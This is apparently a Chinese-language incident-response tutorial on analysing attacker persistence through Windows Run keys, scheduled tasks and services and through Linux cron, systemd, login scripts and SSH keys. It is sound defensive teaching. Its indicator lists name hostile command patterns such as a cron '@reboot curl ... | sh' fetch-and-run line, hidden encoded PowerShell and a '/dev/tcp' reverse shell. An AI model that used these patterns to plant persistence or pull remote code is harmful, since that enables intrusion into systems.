自启动项、计划任务与服务持久化分析
自启动项、计划任务与服务持久化分析
在 0x02电子取证 中,启动项检查、计划任务检查、服务信息检查 已经给出了不少排查入口。但在真实应急中,攻击者不会只留一个孤零零的自启动点,而是倾向于构造一条稳定、隐蔽、可恢复的持久化链。
因此,到了 0x03取证分析 阶段,我们关注的重点应从“哪里能看”升级为“这条持久化链是否成立,它在攻击链中处于什么位置,它是否还在生效”。
0x01 持久化分析的核心目标
围绕持久化,蓝队要回答四个问题:
- 驻留点在哪里? 是注册表、计划任务、服务、systemd、cron,还是登录脚本?
- 载荷是什么? 是脚本、木马、下载器、PowerShell 还是 LOLBin 调用链?
- 触发条件是什么? 是开机、登录、定时、网络联通还是某个特定事件?
- 它是否与当前事件闭环? 能否与异常登录、恶意文件、出站流量、告警时间对上?
如果不能回答最后一个问题,就容易把运维组件误判成后门,或者把已经失效的遗留配置误判成现网风险。
0x02 Windows:从 Run 键到计划任务的驻留链
Windows 是攻击者最常利用的持久化平台之一。最常见的驻留位置包括:
- 注册表 Run / RunOnce
- 启动文件夹
- 计划任务
- 系统服务
- WMI 事件订阅
- 映像劫持与 IFEO
1. Run 键与启动目录
典型位置:
HKLM\Software\Microsoft\Windows\CurrentVersion\RunHKCU\Software\Microsoft\Windows\CurrentVersion\Run%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup%AppData%\Microsoft\Windows\Start Menu\Programs\Startup
分析重点:
- 路径是否指向
AppData、Temp、ProgramData等非常驻二进制目录 - 值名称是否伪装为显卡、输入法、安全组件
- 命令是否调用
powershell.exe -enc、wscript.exe、mshta.exe
单独看到一条 Run 键不一定能定性恶意,但如果它同时指向一份近期落地的可疑样本,且该主机存在异常外联,这就是完整的持久化证据。
2. 计划任务
计划任务是攻击者最偏爱的驻留方式之一,因为它既稳定又容易伪装。
重点看:
- 任务名是否模仿系统组件,如
UpdateTask,OneDrive Sync,AdobeCheck - 触发器是否为
At logon、At startup、高频时间间隔 - 动作是否执行脚本、下载器或编码 PowerShell
- 任务创建时间是否与入侵窗口接近
关键证据源:
schtasks /query /fo LIST /vC:\Windows\System32\Tasks\- Security 日志中的
4698/4699 - 任务 XML 中的
Author、Command、Arguments
典型恶意特征:
- 指向
%TEMP%、C:\Users\Public\、C:\ProgramData\下的二进制 - 周期过于频繁,例如每 1 分钟执行一次
- 使用
cmd /c powershell -nop -w hidden -enc ...
3. 系统服务
服务型持久化的价值在于:
- 以 SYSTEM 权限运行
- 开机自动拉起
- 隐蔽性高,尤其是伪装成驱动或系统组件时
分析重点:
- 服务名、显示名与可执行路径是否匹配
ImagePath是否指向非常规路径- 是否由近期出现的可疑父进程创建
- 是否存在“服务创建后立刻通信”的时间关联
重点日志:
- System
7045:新服务安装 - Security
4697:服务安装
如果看到 4624(Type 3) 网络登录之后,短时间内出现 7045,再接着看到 services.exe 拉起异常进程,这通常是 PsExec、服务木马或远控落地的典型链路。
0x03 Linux:systemd、cron 与登录脚本的驻留面
Linux 侧持久化往往比 Windows 更“朴素”,但同样高效,且更容易藏进运维脚本中。
常见位置:
crontab与/etc/cron.*systemdunit/etc/rc.local/etc/profile、/etc/profile.d/~/.bashrc、~/.zshrc~/.ssh/authorized_keys
1. cron 持久化
典型恶意用法:
@reboot curl http://x.x.x.x/a.sh | sh- 每隔 1 分钟执行下载器
- 定时拉起反弹 shell 或更新后门
重点检查:
/etc/crontab/etc/cron.d//var/spool/cron/- 用户私有
crontab -l
分析时不要只看内容,还要看:
- 文件修改时间
- 所属用户是否异常
- 任务执行路径是否落在
/tmp、/dev/shm、用户目录隐藏文件
2. systemd 服务
现代 Linux 主机最值得优先审查的是 systemd 持久化,因为它具备以下优势:
- 可设置为开机自启
- 可通过
Restart=always自动拉起 - 可以伪装成正常后台服务
关键目录:
/etc/systemd/system//usr/lib/systemd/system//run/systemd/system/
关键字段:
ExecStartExecStartPreUserRestartWantedBy
典型恶意特征:
- 执行路径位于
/tmp/.xx、/var/tmp/、用户隐藏目录 - 服务名模仿系统组件,例如
dbus-update.service ExecStart指向 shell 脚本而非正常守护进程
3. 登录脚本与环境文件
这类驻留方式很容易被忽略,因为它不像服务或任务那样有明显的“管理入口”。
重点位置:
/etc/profile/etc/profile.d/*.sh~/.bash_profile~/.bashrc~/.zshrc
攻击者常利用这些文件做到:
- 用户登录即回连
- 设置恶意环境变量
- 劫持常用命令别名
- 伪装成运维提示或初始化脚本
这类驻留特别适合结合 命令行历史 一起看,因为它会直接影响登录后的用户行为。
0x04 如何判断“异常”而不是“非我所知”
持久化分析最怕的不是看漏,而是误判。很多运维平台、备份代理、EDR、自研服务都会创建启动项、计划任务和系统服务。
因此建议使用四维判断法:
1. 路径维度
优先怀疑以下路径中的载荷:
C:\Users\Public\%AppData%%ProgramData%%Temp%/tmp/var/tmp/dev/shm- 用户主目录隐藏目录
2. 命令维度
优先怀疑以下执行链:
powershell -enccmd /c certutil -urlcachemshta,rundll32,regsvr32curl|sh,wget|bashpython -c,perl -e,bash -i >& /dev/tcp/...
3. 时间维度
如果创建时间与以下事件高度接近,恶意概率显著上升:
- 异常登录
- 漏洞利用告警
- 木马样本落地
- 首次 C2 外联
4. 关联维度
单个持久化点不够,要看它是否与以下证据闭环:
- 对应的落地文件
- 创建它的进程或用户
- 后续自动执行记录
- 外联流量或日志告警
0x05 三条典型持久化攻击链
1. Windows 弱口令后门链
- 攻击者通过 RDP 或 SMB 登录主机
- 落地样本到
C:\ProgramData\ - 新建计划任务或服务
- 重启后自动上线 C2
关键证据:
4624/46254698/7045- 新落地文件的
MFT时间 - C2 通信日志
2. WebShell 到 Linux cron 驻留
- Web 漏洞写入 WebShell
- 通过 WebShell 下载 ELF 或脚本
- 写入
crontab或/etc/cron.d/ - 周期性回连外网
关键证据:
- Web 访问日志
/tmp落地文件crontab修改时间- 出站网络连接
3. SSH 控制到公钥后门
- 攻击者通过爆破或泄露密码登录
- 写入
authorized_keys - 清理命令历史
- 后续改用公钥方式免密回连
关键证据:
Failed password与Accepted passwordauthorized_keys新增内容- 登录方式从 password 变为 publickey
- 用户目录文件时间突变
0x06 分析落地建议
建议把持久化分析整理为统一检查表:
| 项目 | 位置 | 触发方式 | 载荷路径 | 创建时间 | 是否关联事件 |
|---|---|---|---|---|---|
| Run 键 | 注册表 | 登录 | C:\ProgramData\a.exe | 06-15 02:10 | 是 |
| 计划任务 | Tasks XML | 每 5 分钟 | powershell -enc ... | 06-15 02:11 | 是 |
| 服务 | ImagePath | 开机 | C:\Windows\Temp\svc.exe | 06-15 02:12 | 是 |
| cron | /etc/cron.d/ | 每分钟 | /tmp/.sys.sh | 06-15 03:01 | 是 |
这种表格既适合实战记录,也方便后续给管理层、法务或 SOC 平台沉淀规则。
0x07 总结
0x02电子取证 中的启动项、计划任务、服务信息检查,解决的是“证据入口”;而在 0x03取证分析 中,我们真正要完成的是持久化定性、攻击链关联与生效状态判断。
只有把“载荷路径、触发条件、创建时间、用户身份、后续通信”全部串起来,才能真正区分:
- 合法运维组件
- 历史遗留配置
- 当前仍在工作的恶意后门
这一步,才是从“会查配置”进阶到“会分析入侵”的关键分水岭。